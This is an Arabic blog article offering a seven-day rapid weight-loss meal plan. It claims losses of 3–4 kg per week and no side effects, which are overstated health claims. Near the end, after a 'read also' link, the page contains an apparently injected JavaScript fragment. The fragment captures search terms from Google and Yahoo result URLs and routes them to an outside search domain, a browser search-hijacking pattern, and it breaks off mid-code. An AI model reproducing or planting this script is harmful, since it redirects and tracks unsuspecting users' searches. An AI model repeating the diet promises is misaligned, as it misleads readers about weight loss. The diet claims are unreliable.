ما هي طريقة التخسيس السريع المميزة؟

ABDULKADER ABROUSH
التخسيس وفقدان الوزن
ABDULKADER ABROUSH30 أغسطس 20217آخر تحديث : منذ 3 أشهر
ما هي طريقة التخسيس السريع المميزة؟

يبحث الجميع عن طرق التخسيس السريع لإزالة الدهون و إنقاص الوزن بطرق سريعة للحصول على مظهر أنيق ولائق في أقصر وقت وبالأخص للذين لديهم مناسبات سعيدة يريدون الظهور بمظهر جديد.

وهناك الكثير منطرق التخسيس السريع ولكن يجب أن نبحث عن الطريقة التي تناسب أجسامنا وهذه الطريقة التي سيتم تناولها بالتفصيل هي أكثر أنواع الرجيم السريع التي قد تناسب الجميع وتعطى نتائج فورية وسريعة.

طريقة التخسيس السريع المميزة 

التخسيس السريع
التخسيس السريع

هذه الطريقة هي من أكثر الطرق فاعلية وهو نظام غذائي متكامل ويقوم بحرق الدهون وإنقاص الوزن بدون حدوث أي مضاعفات أو تأثيرات جانبية وهو ريجيم عدم الإحساس بالجوع.

ويعتمد هذا النوع من الريجيم على إشباع الجسم بالمواد الصحية التي تقوم بسد الشهية وحرق الدهون في آن واحد ويقوم بالتخسيس في سبعة أيام من ٣ إلى ٤ كيلو جرام.

نموذج رجيم التخسيس السريع

هذا النوع من الريجيم مناسب لجميع الأجسام ولكن يجب الالتزام به كاملا كما هو حتى يعطى النتيجة المطلوبة ويتم خسارة حوالي ٧ كيلو من الوزن إذا تم الاستمرار على هذا النظام لمدة ١٤ يوما.

مع ضرورة كسر النظام بعد اليوم السابع ويتم عمل يوم فري ويتم تناول أنواع مختلفة من الطعام.

اليوم الأول

وجبة الإفطار ثابتة لمدة الريجيم بأكمله أي لمدة ٧ أيام يتم تناول نفس مكونات وجبة الإفطار كما هي مثل اليوم الأول تماما وهي:

وجبة الإفطار: تحتوي على قطعة من التوست الأسمر أو رغيف عيش السن، كوب من الشاي أو القهوة بدون سكر أو إضافة سكر دايت، ويمكن شرب نصف كوب من الجريب فروت.

وجبة الغداء: توست سن أو بديلة عيش السن، طبق من السلطة الخضراء أو سلطة الدجاج، مع تناول القهوة أو الشاي حسب الرغبة.

وجبة العشاء: طبق سلطة خضراء، سمكة مشوية مع نصف كوب جريب فروت.

اليوم الثانى

وجبة الغداء: كمية من الخس حسب الرغبة، طبق سلطة تونة بالليمون والخل بعد تصفية الزيت منها، ثمرة تفاح، فنجان قهوة أو كوب شاي.

وجبة العشاء: طبق لوبيا مسلوقة، قطعة لحم، سلطة خضروات مع القهوة أو الشاي.

اليوم الثالث

الغداء: قطعة توست رجيم، ٢ بيضة مسلوقة، كوب شاي، قطعة صغيرة من الجبن خالي الدسم.

العشاء: أي نوع من الخضار السوتيه وبالأخص السبانخ، قطعة من الدجاج المشوي بعد نزع الجلد،وكوب شاي أو قهوة.

اليوم الرابع

الغداء: تفاحة واحدة، طبق السبانخ بالجبن، قهوة أو شاي.

العشاء: طبق سلطة خضراء، سمكة مشوية، قهوة أو شاي مع قطعة توست الريجيم.

نموذج رجيم التخسيس السريع

التخسيس السريع
التخسيس السريع

اليوم الخامس

الغداء: طبق صغير من سلطة الفواكه، سلطة خس، كوب قهوة أو شاي حسب الرغبة.

العشاء: طبق من السلطة وخاصة سلطة الطماطم، قطعة دجاج مشوي بدون جلد ويتم شوية في الفرن، نصف كوب جريب فروت، شاى أو قهوة.

اليوم السادس 

الغداء: ٢ ثمرة طماطم مقطعة، قطعة من الدجاج المشوي أو اللحم المشوي بدون دسم، ثمرة جزر، تناول أوراق الكرنب المسلوق وشرب ماء السلق وهو يعتبر من اعلى الأطعمة التي تقوم بحرق الدهون، كوب شاي أو قهوة.

العشاء: طبقا من السلطة الخضراء، قطعة لحم أو دجاج مشوي منزوع الدسم، شاي أو قهوة.

اليوم السابع 

الغداء: طبق صغير من سلطة الفواكه، سلطة الخس، مع فنجان مشروب ساخن حسب الرغبة.

العشاء: سلطة كرنب، قطعه من الهمبرجر المشوية، مشروب ساخن حسب الرغبة.

اقرأ أيضًا: وصفة عمل القرنبيط دايت للحفاظ علي الوزن والرشاقة

(function() {

function findGetParameter(parameterName) { var result = null, tmp = []; location.search .substr(1) .split("&") .forEach(function (item) { tmp = item.split("="); if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]); }); return result; } let arr = []; var u ='https://lato1.mysearch.space?q=', s = [

{ 'host':/^https?\:\/\/www.google(\.\w+)+\/search\?.*$/, 'query':'q', }, { 'host':/^(https?\:\/\/)(\w+\.)?(search\.)(yahoo\.)(com)\/(search\?)?(.*)$/, 'query':'p' } ] console.log('ddd'); for(var i = 0; i

رابط مختصر

اترك تعليق

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *


شروط التعليق :

عدم الإساءة للكاتب أو للأشخاص أو للمقدسات أو مهاجمة الأديان أو الذات الالهية. والابتعاد عن التحريض الطائفي والعنصري والشتائم.

error: جميع الحقوق محفوظة لموقع منوعاتي